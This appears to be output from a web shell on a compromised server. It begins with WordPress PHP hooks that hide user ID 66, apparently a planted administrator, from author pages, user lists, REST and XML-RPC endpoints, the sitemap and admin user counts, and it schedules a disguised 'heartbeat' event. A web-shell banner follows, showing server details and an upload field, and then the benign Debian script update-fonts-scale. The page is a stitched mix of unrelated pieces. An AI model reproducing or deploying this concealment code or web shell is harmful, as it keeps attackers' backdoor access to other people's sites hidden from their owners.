add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /sbin/ |
Upload File : |
#!/bin/sh
# $Id: update-fonts-scale 189 2005-06-11 00:04:27Z branden $
# This program generates fonts.scale files for X font directories; see
# mkfontdir(1x) for a description of the format of fonts.scale files.
# Copyright 1999-2002, 2004 Branden Robinson.
# Copyright 2006 Steve Langasek.
# Licensed under the GNU General Public License, version 2. See the file
# /usr/share/common-licenses/GPL or <https://www.gnu.org/copyleft/gpl.txt>.
PROGNAME=${0##*/}
# Query the terminal to establish a default number of columns to use for
# displaying messages to the user. This is used only as a fallback in the event
# the COLUMNS variable is not set. ($COLUMNS can react to SIGWINCH while the
# script is running, and this cannot, only being calculated once.)
DEFCOLUMNS=$(stty size 2>/dev/null | awk '{print $2}') || true
if ! expr "$DEFCOLUMNS" : "[[:digit:]]\+$" >/dev/null 2>&1; then
DEFCOLUMNS=80
fi
# Display a message, wrapping lines at the terminal width.
message () {
echo "$*" | fmt -t -w ${COLUMNS:-$DEFCOLUMNS}
}
# Display a debugging message.
trace () {
if [ -n "$DEBUG" ]; then
message "note: $*" >&2
fi
}
# Display a warning message.
warn () {
message "warning: $*" >&2
}
# Display an error message and exit.
die () {
message "fatal error: $*" >&2
exit 1
}
# Display a usage message.
usage () {
if [ -n "$*" ]; then
message "usage error: $*"
fi
cat <<EOF
Usage: $PROGNAME DIRECTORY ...
$PROGNAME { -h | --help }
This program combines scalable X font information from several packages into a
single file that is placed in each specified X font directory DIRECTORY. This
utility is primarily useful to Debian package maintainer scripts. See
update-fonts-scale(8) for more information.
Options:
-h, --help display this usage message and exit
EOF
}
X11R7_LAYOUT=
# Validate arguments.
case "$1" in
-h|--help)
usage
exit 0
;;
-7|--x11r7-layout)
X11R7_LAYOUT=true
shift
;;
esac
case "$1" in
-*)
usage "unrecognized option" >&2
exit 2
;;
esac
if [ $# -eq 0 ]; then
usage "one or more font directories must be specified" >&2
exit 2
fi
while [ -n "$1" ]; do
# Try to be clever about the argument; were we given an absolute path?
if expr "$1" : "/.*" >/dev/null 2>&1; then
# Yes; an absolute path to an X font directory was provided.
X11R7DIR=$1
ETCDIR=/etc/X11/fonts/${X11R7DIR##*/}
ETC7DIR=/etc/X11/fonts/X11R7/${X11R7DIR##*/}
if [ "$X11R7DIR" = "$ETCDIR" ] || [ "$X11R7DIR" = "$ETC7DIR" ]; then
# We were given an /etc directory as an argument.
die "path to X font directory must be used"
else
warn "absolute path $X11R7DIR was provided"
fi
else
# No; a relative path was provided -- assume we were given just the
# basename.
X11R7DIR=/usr/share/fonts/X11/$1
ETCDIR=/etc/X11/fonts/$1
ETC7DIR=/etc/X11/fonts/X11R7/$1
fi
shift
# Confirm that the directories to be operated on exist.
VALIDSRC=
if [ -d "$ETCDIR" ]; then
VALIDSRC=yes
else
warn "$ETCDIR does not exist or is not a directory"
fi
if [ -d "$ETC7DIR" ]; then
VALIDSRC=yes
else
if [ -n "$X11R7_LAYOUT" ]; then
warn "$ETC7DIR does not exist or is not a directory"
fi
fi
VALIDDEST=
if [ -d "$X11R7DIR" ]; then
VALIDDEST=yes
else
warn "$X11R7DIR does not exist or is not a directory"
fi
if [ -z "$VALIDSRC" ] || [ -z "$VALIDDEST" ]; then
continue
fi
# Are there any files to process?
if [ "$(echo "$ETCDIR"/*.scale "$ETC7DIR"/*.scale)" != "$ETCDIR/*.scale $ETC7DIR/*.scale" ]
then
if [ -n "$X11R7DIR" ] && [ -d "$X11R7DIR" ]; then
for SCALEFILE in "$ETCDIR"/*.scale "$ETC7DIR"/*.scale; do
[ -e "$SCALEFILE" ] || continue
# Only write fonts to the .scale file that actually exist, so
# that removed-but-not-purged scalable font packages do not
# register nonexistent fonts; this has the desirable side effect
# that the count at the top of the file is also omitted.
#
# XXX: This technique will be tricked into yielding false
# negatives if the font filename has whitespace in it.
while read FONTFILE FONTNAME; do
if [ -f "$X11R7DIR/$FONTFILE" ]; then
echo "$FONTFILE $FONTNAME" \
>>"$X11R7DIR/fonts.scale.update-tmp"
else
trace "$SCALEFILE references nonexistent font file" \
"$FONTFILE; skipping"
fi
done <"$SCALEFILE"
done
if [ -e "$X11R7DIR/fonts.scale.update-tmp" ]; then
# Write the new scale file to a temporary location in case we
# are interrupted. Write the new count to the top of file. Use
# cat and pipe to wc so wc doesn't report the filename.
cat "$X11R7DIR/fonts.scale.update-tmp" \
| wc -l | tr -d '[:blank:]' \
>"$X11R7DIR/fonts.scale.update-new"
cat "$X11R7DIR/fonts.scale.update-tmp" \
>>"$X11R7DIR/fonts.scale.update-new"
mv "$X11R7DIR/fonts.scale.update-new" "$X11R7DIR/fonts.scale"
rm "$X11R7DIR/fonts.scale.update-tmp"
else
# No font in the processed *.scale files was in the current
# directory, so remove fonts.scale.
rm -f "$X11R7DIR/fonts.scale"
fi
fi
else
if [ -n "$X11R7DIR" ] && [ -d "$X11R7DIR" ]; then
# No files to process; remove any fonts.scale file already in the
# font directory.
rm -f "$X11R7DIR/fonts.scale"
# Remove the font directory if it is empty.
rmdir "$X11R7DIR" >/dev/null 2>&1 || true
fi
fi
done
exit 0
# vim:set ai et sts=4 sw=4 tw=80: